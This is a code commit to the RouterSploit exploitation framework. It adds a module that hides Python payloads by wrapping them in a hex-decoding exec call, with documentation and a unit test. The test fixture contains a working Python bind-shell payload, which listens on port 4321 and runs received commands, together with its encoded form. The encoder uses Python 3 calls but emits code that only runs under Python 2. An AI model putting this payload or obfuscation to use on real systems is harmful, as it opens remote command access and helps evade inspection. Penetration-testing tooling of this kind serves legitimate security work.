Adding Python Hex Encoder (#483)

* Bump v3.2.0

* Adding Python Hex encoder

docs/modules/encoders/python/hex.md

+## Description
+
+Module encodes Python payload to hex format. 
+
+## Verification Steps
+
+  1. Start `./rsf.py`
+  2. Do: `use encoders/python/hex`
+  3. Do: `show info`
+
+## Scenarios
+
+```
+rsf > use encoders/python/hex
+rsf (Python Hex Encoder) > show info
+
+Name:
+Python Hex Encoder
+
+Description:
+Module encodes Python payload to Hex format.
+
+Authors:
+-  Marcin Bury <marcin[at]threat9.com>
+```

routersploit/modules/encoders/python/hex.py

+from routersploit.core.exploit.encoders import BaseEncoder
+from routersploit.core.exploit.payloads import Architectures
+
+
+class Encoder(BaseEncoder):
+    __info__ = {
+        "name": "Python Hex Encoder",
+        "description": "Module encodes Python payload to Hex format.",
+        "authors": (
+            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
+        ),
+    }
+
+    architecture = Architectures.PYTHON
+
+    def encode(self, payload):
+        encoded_payload = bytes(payload, "utf-8").hex()
+        return "exec('{}'.decode('hex'))".format(encoded_payload)

tests/encoders/python/test_hex.py

+from routersploit.modules.encoders.python.hex import Encoder
+
+
+# python bind tcp payload with rport=4321
+bind_tcp = (
+    "import socket,os\n" +
+    "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
+    "so.bind(('0.0.0.0',4321))\n" +
+    "so.listen(1)\n" +
+    "so,addr=so.accept()\n" +
+    "x=False\n" +
+    "while not x:\n" +
+    "\tdata=so.recv(1024)\n" +
+    "\tstdin,stdout,stderr,=os.popen3(data)\n" +
+    "\tstdout_value=stdout.read()+stderr.read()\n" +
+    "\tso.send(stdout_value)\n"
+)
+
+# python bind tcp payload with rport=4321 encoded with python/hex
+bind_tcp_encoded = (
+    "exec('696d706f727420736f636b65742c6f730a736f3d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d290a736f2e62696e64282827302e302e302e30272c3433323129290a736f2e6c697374656e2831290a736f2c616464723d736f2e61636365707428290a783d46616c73650a7768696c65206e6f7420783a0a09646174613d736f2e726563762831303234290a09737464696e2c7374646f75742c7374646572722c3d6f732e706f70656e332864617461290a097374646f75745f76616c75653d7374646f75742e7265616428292b7374646572722e7265616428290a09736f2e73656e64287374646f75745f76616c7565290a'.decode('hex'))"
+)
+
+
+def test_payload_enconding():
+    """ Test scenario - payload encoding """
+
+    encoder = Encoder()
+    assert encoder.encode(bind_tcp) == bind_tcp_encoded